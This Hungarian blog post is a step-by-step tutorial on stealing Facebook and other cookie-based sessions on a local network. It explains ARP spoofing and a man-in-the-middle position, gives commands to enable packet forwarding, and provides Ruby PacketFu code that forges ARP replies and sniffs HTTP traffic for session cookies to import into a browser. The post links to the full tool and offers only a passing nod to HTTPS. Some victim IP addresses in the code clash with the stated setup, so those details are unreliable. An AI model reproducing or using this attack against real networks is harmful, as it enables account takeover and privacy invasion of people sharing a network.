A cím kissé hatásvadásznak tűnhet, a helyes alcím az lehetne, hogy “Avagy miért használjunk HTTPS-t ahol csak lehet”. Az itt bemutatott technika nagyon régi, de még napjainkban is működik, valamint nem korlátozódik a facebookra, szinte tetszőleges, cookie vagy egyéb alapú azonosítást használó site feltörhető vele. Természetesen nem túl etikus dolog ilyet csinálni, tekintsük inkább szakmai kihívásnak csupán a dolgot, mint anno kezdő fejlesztő korunkban életünk első vírusának megírását :)

Nos, mire lesz szükségünk?

• Kell egy helyi hálózat (LAN). Ez lehet az otthoni vagy akár a munkahelyi, esetleg iskolai hálózatunk.

• A hálózati protokollok alapfokú ismerete (ARP, TCP/IP, Ethernet és HTTP).

• Programozási tudás. Én a ruby nyelvet fogom használni a cikkben, de a legtöbb nyelven elkészíthető a proof of concept kód

• Egy UNIX alapú operációs rendszer. OS X-en teszteltem a kódot, de elvieleg tetszőleges linux-al vagy BSD-vel működnie kell.

• Türelem :) Ez kicsit olyan mint a horgászat.

Nézzük tehát részletesen a lépéseket.

Egy kis bevezetés az ARP protokollba

Az ARP jelentése: Address Resolution Protocol, azaz a címfeloldásért felelős protokoll. Ez az Ethernet hálózatok egyik alapja, a MAC és IP címek közötti átalakítást, feloldást intézi. Mint az közismert, a TCP/IP csomagok egy Ethernet csomagba csomagolva utaznak a hálózaton, az Ethernet pedig csak az úgynevezett  MAC (Media Access Control) címeket ismeri, az IP címekről és domainnevekről fogalma sincs.Így hát amikor egy TCP/IP csomag elhagy egy hálózati eszközt, az eszközön futó firmware/operációs rendszer szépen becsomagolja egy Ethernet csomagba és a hálózati eszköz elküldi a megfelelő MAC című eszköznek (persze ez sokkal komplexebb a valóságban, routerek, default gatewayek, stb.)

Ebből következik, hogy egy számítógépnél maradva az operációs rendszernek tudnia kell hogy melyik IP címhez milyen MAC cím társul. Ugyanígy a routernek is rendelkeznie kell ezzel a tudással, hogy irányíthassa a csomagokat. Erre a rendszerek egy úgynevezett ARP táblát használnak, amit a memóriájukban tartanak. Ez az ARP tábla úgy került feltöltésre, hogy a hálózati szereplők broadcast ARP üzeneteket küldenek a saját MAC és IP címeikről: “hé srácok, az 1.2.3.4-es IP MAC címe 03:f9:06:e4:6b:0b”. Mivel az ARP protokoll és az ARP táblák megvalósítása biztonsági szempontból igencsak naív, a protokoll nem ismeri a hitelesítést és “mindent elhisz”, ezt fogjuk kihasználni.

Session és sütik, avagy felhasználó-azonosítás

A legtöbb site sütiket (cookie) használ arra, hogy a felhasználók azonosítását, beléptetését elvégezze. A HTTP egy olyan protokoll amely nem ismeri az “állapot” fogalmát (stateless). Az ilyen protokollok esetén a szerver nem tart meg állapot-információkat a kliensről, minden lekérdezés független egymástól. Ezért van szükség a sütikre, amiket a böngészők minden lekéréskor elküldenek a szerver felé. Egy süti gyakorlatilag egy kulcs-érték pár, amit a böngésző tárol. A lettöbb site sütikben tárolja a belépésről, azonosításról szóló adatokat.

Hogy az eredeti példánknál maradjunk, ebből a szempontból a legérdekesebb facebook sütik: c_user , datr , sct and xs – ezek így együtt elegendőek hogy egy belépett felhasználót azonosítsanak. Természetesen a sütikben nem található meg semmilyen felhasználói adat a userid-t kivéve, viszont ezekből a szerver (a saját belső nyilvántartását ellenőrizve) tudja hogy ki az adott felhasználó és hogy be van jelentkezve. Ha ezeket a sütiket megszerzi valaki, gond nélkül kiadhatja magát az adott bejelentkezett facebook felhasználónak. Pontosan ezt fogjuk tenni, lehallgatjuk majd a facebook és az áldozat közötti hálózati kommunikációt.

Hogyan hallgassuk le a hálózati kommunikációt?

Ez sokkal egyszerűbb mint az ember gondolná. Most használjuk ki az ARP protokoll gyengeségét és az áldozat és a router közé lopjuk be magunkat. Ez az úgynevezett man-in-the-middle támadás.

Gyakorlatilag az fog történni, hogy az áldozatnak ARP protokollon azt mondjuk hogy mi vagyunk a router, a routernek pedig hogy mi vagyunk az áldozat. Innentől fogva mindkét eszköz velünk fog kommunikálni. Persze ne felejtsük el a csomagokat továbbítani eredeti céljukhoz is, különben megszakad a kommunikáció.

Képzeljünk el egy egyszerű hálózatot három géppel: 1 router és két kliens. A router IP címe legyen 10.0.0.1 és a két gépé 10.0.0.100 és 10.0.0.101. Mi vagyunk a 10.0.0.101, az áldozat pedig a 10.0.0.100 címet kapta.

Először is küldünk egy ARP üzenetet az áldozat gépének (nem a standard broadcast üzenetet, hanem egy célzott ARP csomagot), amiben azt állítjuk hogy a router IP-jéhez (10.0.0.1) most már a mi MAC címünk tartozik. Ezután küldünk a routernek is egy ilyen célzott üzenetet, azt állítva hogy az áldozat IP-jéhez (10.0.0.101) most már a mi MAC címünk tartozik. Ettől a ponttól kezdve TCP/IP szinten semmi változást nem vesz észre a két gép, viszont minden csomag amit egymásnak küldenének, hozzánk érkezik be.

Egyetlen apróság van még: a két ARP üzenetet relatíve gyakran küldözgetnünk kell, mert egyébként minden gép rendszresen ARP broadcastol, ami “felülírná” a ténykedésünket.

Hogy ezt elérjük, be kell kapcsolnunk a rendszerünkben a “packet forwarding” funkciót, hogy azok a csomagok is bekerüljenek a feldolgozási láncba, amiket egyébként nem nekünk címeztek (különben a TCP/IP stack eldobná őket).

Linuxon ezt így tehetjük meg:

echo 1 > /proc/sys/net/ipv4/ip_forward

OS X-en és BSD-n:

sysctl -w net.inet.ip.forwarding=1

Most már összeállt minden, hogy végre programozhassunk kicsit.

Mint említettem, ruby-t fogunk használni (1.8 és az 1.9 egyformán használható), szükségünk lesz a ‘PacketFu‘ csomagra és függőségére, a PcapRub gem-re, ami a híres libpcap lib ruby wrappere. Ez a két csomag lesz a segítségünkre a csomagok elfogásánál, értelmezésénél, illetve az alacsonyszintű hálózatkezelésnél.

Először is lássuk a híres ARP csomagok kiküldését:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

arp_packet_victim = PacketFu::ARPPacket.new()
arp_packet_victim.eth_saddr = 'd2:7b:9c:71:7b:6f'    # sajat MAC címunk
arp_packet_victim.eth_daddr = 'd4:9e:cb:08:5a:27'    # az aldozat MAC cime
arp_packet_victim.arp_saddr_mac = 'd2:7b:9c:71:7b:6f'   # sajat MAC címunk
arp_packet_victim.arp_daddr_mac = 'd4:9e:cb:08:5a:27'   # az aldozat MAC cime
arp_packet_victim.arp_saddr_ip = '10.0.0.1'            # a router IP cime
arp_packet_victim.arp_daddr_ip = '10.0.0.101'        # az aldozat IP cime
arp_packet_victim.arp_opcode = 2                      # arp code 2 == ARP valasz

arp_packet_router = PacketFu::ARPPacket.new()
arp_packet_router.eth_saddr = 'd2:7b:9c:71:7b:6f'    # sajat MAC címunk
arp_packet_router.eth_daddr = '29:ef:54:43:78:32'    # a router MAC cime
arp_packet_router.arp_saddr_mac = 'd2:7b:9c:71:7b:6f'   # sajat MAC címunk
arp_packet_router.arp_daddr_mac = '29:ef:54:43:78:32'   # a router MAC cime
arp_packet_router.arp_saddr_ip = '10.0.0.101'        # az aldozat IP cime
arp_packet_router.arp_daddr_ip = '10.0.0.1'            # a router IP cime
arp_packet_router.arp_opcode = 2                      # arp code 2 == ARP valasz

# kikuldjuk mindket csomagot
arp_packet_victim.to_w(@interface)
arp_packet_router.to_w(@interface)

Ahogy írtam, ezt a műveletet periodikusan meg kell tennünk, hogy az amúgy áramló broadcast ARP üzenetek ne írják felül a hacket. Ezt például egy thread-ből kiválóan meg lehet oldani.

Most már kezdhetünk figyelni az adott hálózati interfészen, persze érdemes rögtön HTTP kéréseket nézni csak. A filter format tutorial segít ebben.

1
2

capture_session = PacketFu::Capture.new(:iface => 'eth0', :start => true, :promisc => true,
                                        :filter => "tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)")

Ha fogtunk valamit, nézzük meg van-e benne süti:

1
2
3

capture_session.stream.each { |packet|
  puts "Sütit találtam!!!" if packet =~ /ookie/
}

Igen, ez tényleg ilyen egyszerű. Most már értelmezhetjük az elfogott csomagokat, kivehetjük a sütiket belőlük és lementhetjük pl. a népszerű  netscape cookie format -ban, amit aztán firefoxba könnyen importálhatunk egy plugin segítségével:  Cookie importer.

Ez persze csak a vázlat volt, a teljes kódbázist amit írtam, itt találhatjátok: https://github.com/ochronus/ArpSpoof

Ugyanez a cikkem angolul itt olvasható: http://blog.mostof.it/how-to-steal-a-facebook-identity/